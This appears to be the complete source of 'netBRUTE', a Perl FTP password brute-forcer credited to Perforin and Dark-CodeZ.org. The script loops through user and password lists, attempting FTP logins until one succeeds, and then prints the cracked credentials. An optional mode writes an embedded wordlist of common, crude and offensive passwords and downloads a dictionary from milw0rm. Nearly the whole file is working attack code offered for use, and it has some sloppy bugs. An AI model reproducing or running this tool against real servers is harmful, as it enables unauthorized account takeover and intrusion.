| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. 135. 136. 137. 138. 139. 140. 141. 142. 143. 144. 145. | #!/usr/local/bin/perl
#######################################
#
# name: netBRUTE
# coder: Perforin
# status: public
#
#######################################
#
# +++[+] SiTeS [+]+++
# Dark-CodeZ.org
# perforins-script-labor.dl.am
#
#######################################
#
# Usage: perl netbrute.pl URL USER/USERLIST PASSLIST
#
#######################################
use Net::FTP;
use LWP::Simple;
print q {
_ ____ _____ _ _ _______ ______
| | | _ \| __ \| | | |__ __| ____|
_ __ ___| |_| |_) | |__) | | | | | | | |__
| '_ \ / _ \ __| _ <| _ /| | | | | | | __|
| | | | __/ |_| |_) | | \ \| |__| | | | | |____
|_| |_|\___|\__|____/|_| \_\\\____/ |_| |______|
};
my $version = 1.2;
my $usage = "USAGE: perl $0 URL USER/USERLIST PASSLIST\n";
if (@ARGV < 1) {
print " --> $usage";
exit;
}
my $url = $ARGV[0];
if ($ARGV[0] eq "-make") {
print " --> Wordlist menue activated!\n";
my @onboarddictionary = ("aaaa\n","bbbb\n","cccc\n","dddd\n","eeee\n","ffff\n","gggg\n",
"hhhh\n","iiii\n","jjjj\n","kkkk\n","llll\n","mmmm\n","nnnn\n","oooo\n","pppp\n","qqqq\n",
"rrrr\n","ssss\n","tttt\n","uuuu\n","vvvv\n","wwww\n","xxxx\n","yyyy\n","zzzz\n","0000\n",
"1111\n","2222\n","3333\n","4444\n","5555\n","6666\n","7777\n","8888\n","9999\n","007\n",
"hack\n","crack\n","lame\n","lol\n","w00t\n","haxhaxhax\n","fuck\n","administrator\n","fuckyou\n",
"War\n","Bush\n","1337\n","HACKER\n","HAXOR\n","h4x0r\n","hiphop\n","metal\n","techno\n",
"system\n","crash\n","overload\n","overtaken\n","nimda\n","admin\n","root\n","password\n",
"pass\n","toor\n","secret\n","hunter\n","hagbard\n","fxp\n","gulli\n","pirat\n","pirate\n",
"666\n","satan\n","knoten\n","Anna\n","Susi\n","lesbian\n","porno\n","porn\n","pr0n\n",
"elite\n","abwehr\n","microsoft\n","sendmail\n","enter\n","ent0r\n","noob\n","n00b\n",
"boon\n","b00n\n","napo\n","fickvater\n","mutter\n","italien\n","1990\n","1999\n","2000\n",
"3000\n","4000\n","5000\n","1945\n","hitler\n","mussolini\n","roma\n","heinz\n","herbert\n",
"atom\n","rofl\n","lawl\n","hund\n","katze\n","maus\n","anal\n","vaginal\n","oral\n","scheissegal\n",
"raab\n","MTV\n","mtv\n","turbo\n","Herbst\n","Sommer\n","Winter\n","kack0rn\n","pups\n",
"koks\n","kokain\n","heroin\n","joint\n","crystal\n","meth\n","johny\n","wayne\n","vergessen\n",
"motor\n","manson\n","rock\n","punk\n","skater\n","skateordie\n","free4all\n","white\n","black\n",
"emo\n","1992\n","1993\n","1994\n","1995\n","1996\n","1997\n","1998\n","1999\n",,"hatebreed\n","hellfire\n",
"1991\n","1989\n","1988\n","1987\n","1986\n","1985\n","1984\n","1983\n","1982\n","1981\n","1980\n",
"japan\n","china\n","typhon\n","bumsebiene\n","gras\n","frog\n","frosch\n","fly\n","fliege\n",
"dsl\n","ram\n","cpu\n","gpu\n","gangsta\n","makaveli\n","butthole\n","buns\n","ass\n",,"warez\n","appz\n",
"filez\n","leech\n","l33ch\n","lightning\n","beer\n","b33r\n","cartman\n","san\n","kyle\n","keny\n","mr.hat\n",
"cola\n","coke\n","pet0r\n","sharen\n","peter\n","steven\n","manuel\n","joe\n","jeff\n",,"samantha\n","salome\n",
"lilian\n","susan\n","cindy\n","sandra\n","finn\n","mats\n","madsen\n","cholera\n","conny\n","christine\n","philipe\n",
"black\n","white\n","gamer\n","gam0r\n","spellborn\n","steveo\n","jackass\n","pontius\n","help\n","bluescreen\n","baseball\n",
"foorball\n","pokemon\n","pikachu\n","microshit\n","linux\n","windows\n","karibik\n","england\n","omg\n","masterchief\n","nope\n");
open(userlist,">users.txt");
print userlist @onboarddictionary;
close(userlist);
my $content=getstore('http://www.milw0rm.com/mil-dic.php','mil-dic.txt') || die(" <-- Milw0rm down?!\n");
rename ("mil-dic.txt", "wordlist.txt");
exit;
}
if ($url =~ m/(http:)/) {
print " <-- Post URL without http!\n";
exit;
}
my $user = $ARGV[1];
if ($user =~ m/(.txt|.lst)/) {
print "--> Brute URL: "."$url"."\n";
print " --> Brute with USERLIST: "."$user"."\n";
print " --> Brute with PASSLIST: "."$pass_list"."\n";
print " --> Start bruting now!\n";
my @users = ();
open (USER, "$user") || die " <-- Userlist not found!\n";
while (my $lines = <USER>)
{ (my $users) = split(" ",$lines);
push (@users, "$users");
};
close(USER);
my @passes = ();
my $pass_list = $ARGV[2];
open (PASS, "$pass_list") || die " <-- Passlist not found!\n";
while (my $lines = <PASS>)
{ (my $pass) = split(" ",$lines);
push (@passes, "$pass");
};
close(PASS);
foreach my $user (@users) {
foreach my $pass (@passes) {
$ftp = Net::FTP->new("$url",Debug => 0) or die " <-- Cannot conect to"."$url"."\n";
if ($ftp->login("$user","$pass"))
{ print qq "
--> CRACKED!
--> USER: $user
--> PASSWORD: $pass
";
$ftp->quit;
exit;
}
$ftp->quit;
}}
print " <-- User NOT found!\n";
print " <-- Password NOT found!\n";
print " <-- Bruting failed!\n";
exit;
}
my @passes = ();
my $pass_list = $ARGV[2];
open (PASS, "$pass_list") || die " <-- Passlist not found!\n";
while (my $lines = <PASS>)
{ (my $pass) = split(" ",$lines);
push (@passes, "$pass");
};
close(PASS);
print "--> Brute URL: "."$url"."\n";
print " --> Brute with USER: "."$user"."\n";
print " --> Brute with PASSLIST: "."$pass_list"."\n";
print " --> Start bruting now!\n";
foreach my $pass (@passes) {
$ftp = Net::FTP->new("$url",Debug => 0) or die " <-- Cannot conect to"."$url"."\n";
if ($ftp->login("$user","$pass"))
{ print qq "
--> CRACKED!
--> USER: $user
--> PASSWORD: $pass
";
$ftp->quit;
exit;
}
$ftp->quit;
}
print " <-- Password NOT found!\n";
print " <-- Bruting failed!\n";
exit; |